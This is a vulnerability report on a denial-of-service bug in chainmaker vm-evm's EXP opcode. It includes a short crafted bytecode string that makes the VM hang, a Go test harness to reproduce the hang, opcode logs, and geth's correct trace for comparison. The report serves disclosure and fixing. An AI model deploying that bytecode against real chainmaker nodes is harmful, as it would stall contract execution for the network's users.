Denial of Serivice due to the `EXP` opcode implementation in chainmaker vm-evm
【问题分类】
- bug
- smart contract
- EVM
【问题描述】
This is a similar problem with SealEVM at github issue When executing the opcode EXP
(0x0a), chainmaker/vm-evm will wait forever without outputting result.
That is to say, chainmaker/vm-evm gets stuck in opcode EXP
and can not execute next opcode, causing a denial of service attack.
According to SealEVM patch at commit, the implementation of the fundamental mathematical calculation of exp is vulnerable.
How to reproduce
Set deployed bytecode
Simply pull the latest version of the vm-evm and enter the vm-evm/evm-go
dir.
git clone https://git.chainmaker.org.cn/chainmaker/vm-evm.git
cd vm-evm/evm-go
Change the code
in func TestEVM_ExecuteContract()
to bytecode 6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3
func TestEVM_ExecuteContract(t *testing.T) {
test.CertFilePath = "../test/config/admin1.sing.crt"
test.ByteCodeFile = "../test/contracts/contract02/storage.bin"
method := "store"
myAbi, _ := abi.JSON(strings.NewReader(abiJSON))
//if _, ok := myAbi.Methods[method]; !ok {
// panic("expected 'balance' to be present")
//}
data, err := myAbi.Pack(method, big.NewInt(100))
fmt.Println("err:", err)
fmt.Println("callback result info data:", data)
fmt.Println("callback result info data:", hex.EncodeToString(data))
evmTransaction := environment.Transaction{
TxHash: []byte("0x1"),
Origin: userAddress(userSki), // creator address
GasPrice: constTransactionGasPrice(),
GasLimit: constTransactionGasLimit(),
}
_, txContext, code := test.InitContextTest(pb.RuntimeType_EVM, t)
//code, err = hex.DecodeString(string(code))
code, err = hex.DecodeString("6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3")
if err != nil {
panic(err)
}
contract := environment.Contract{
Address: contractAddress(contractName),
Code: code,
Hash: contractHash(code),
}
//data, _ := hex.DecodeString(methodSum)
evm := New(EVMParam{
MaxStackDepth: 1024,
ExternalStore: &storage.ContractStorage{Ctx: txContext},
ResultCallback: callback,
Context: &environment.Context{
Block: environment.Block{
Coinbase: userAddress(userSki), //proposer ski
Timestamp: evmutils.New(0),
Number: evmutils.New(0), // height
Difficulty: evmutils.New(0),
GasLimit: blockGasLimit,
},
Contract: contract,
Transaction: evmTransaction,
Message: environment.Message{
Caller: userAddress(userSki),
Value: evmutils.New(0),
Data: data,
},
},
})
//instructions.Load()
_, _ = evm.ExecuteContract(true)
}
Where 6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3
are the opcodes as shown below:
PUSH13 e1fd12a42ec6dc66e9702e565a
PUSH16 6ed801f2f2984c5805d1b92423f24d72
EXP
PUSH1 00
MSTORE
PUSH1 40
PUSH1 00
RETURN
add logging statement
Add a log statement in func (i *instructionsContext) ExecuteContract(isCreate bool)
of vm-evm/evm-go/instructions/instructions.go
to print the executed opcode.
func (i *instructionsContext) ExecuteContract(isCreate bool) ([]byte, uint64, []byte, []byte, error) {
i.timeUsed = 0
i.pcCount = 0
i.pc = 0
contract := i.environment.Contract
if len(contract.Code) == 0 {
return nil, i.gasRemaining.Uint64(), nil, nil, fmt.Errorf("contract code is null")
}
var ret []byte
var err error = nil
var byteCodeHead []byte
var byteCodeBody []byte
startTime := time.Now()
version := i.storage.GetCurrentBlockVersion()
for {
i.pcCount++
opCode := contract.Code[i.pc]
// opcode logging
log.Print(opCode)
【相关日志文件】
~/vm-evm/evm-go$ go test -run TestEVM_ExecuteContract
You can see that the SealEVM stucks and return nothing. The last executed opcode is 0x0a EXP
.
alleysira@LAPTOP-GOVN7GRV:~/vm-evm/evm-go$ go test -run TestEVM_ExecuteContract
err: 1 arguments in struct expected, 2 received
callback result info data: []
callback result info data:
byteCode file size=402
contract addr1 = c4df070bf9cdd8c9e7b7c49c86cc76d9d661df50
2024/09/02 17:22:59 108
2024/09/02 17:22:59 111
2024/09/02 17:22:59 10
Here is the result from geth/evm 1.14.9-unstable-6eb42a6b-20240815
. Geth and other EVM returned 0
.
// geth
{"pc":0,"op":108,"gas":"0xffffff","gasCost":"0x3","memSize":0,"stack":[],"depth":1,"refund":0,"opName":"PUSH13"}
{"pc":14,"op":111,"gas":"0xfffffc","gasCost":"0x3","memSize":0,"stack":["0xe1fd12a42ec6dc66e9702e565a"],"depth":1,"refund":0,"opName":"PUSH16"}
{"pc":31,"op":10,"gas":"0xfffff9","gasCost":"0x294","memSize":0,"stack":["0xe1fd12a42ec6dc66e9702e565a","0x6ed801f2f2984c5805d1b92423f24d72"],"depth":1,"refund":0,"opName":"EXP"}
{"pc":32,"op":96,"gas":"0xfffd65","gasCost":"0x3","memSize":0,"stack":["0x0"],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":34,"op":82,"gas":"0xfffd62","gasCost":"0x6","memSize":0,"stack":["0x0","0x0"],"depth":1,"refund":0,"opName":"MSTORE"}
{"pc":35,"op":96,"gas":"0xfffd5c","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":[],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":37,"op":96,"gas":"0xfffd59","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":["0x40"],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":39,"op":243,"gas":"0xfffd56","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":["0x40","0x0"],"depth":1,"refund":0,"opName":"RETURN"}
{"output":"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","gasUsed":"0x2ac"}
【系统信息】
- **chainmaker-go version ** : all versions of vm-evm, go version go1.22.3 linux/amd64
- **OS & version ** :Ubuntu 20.04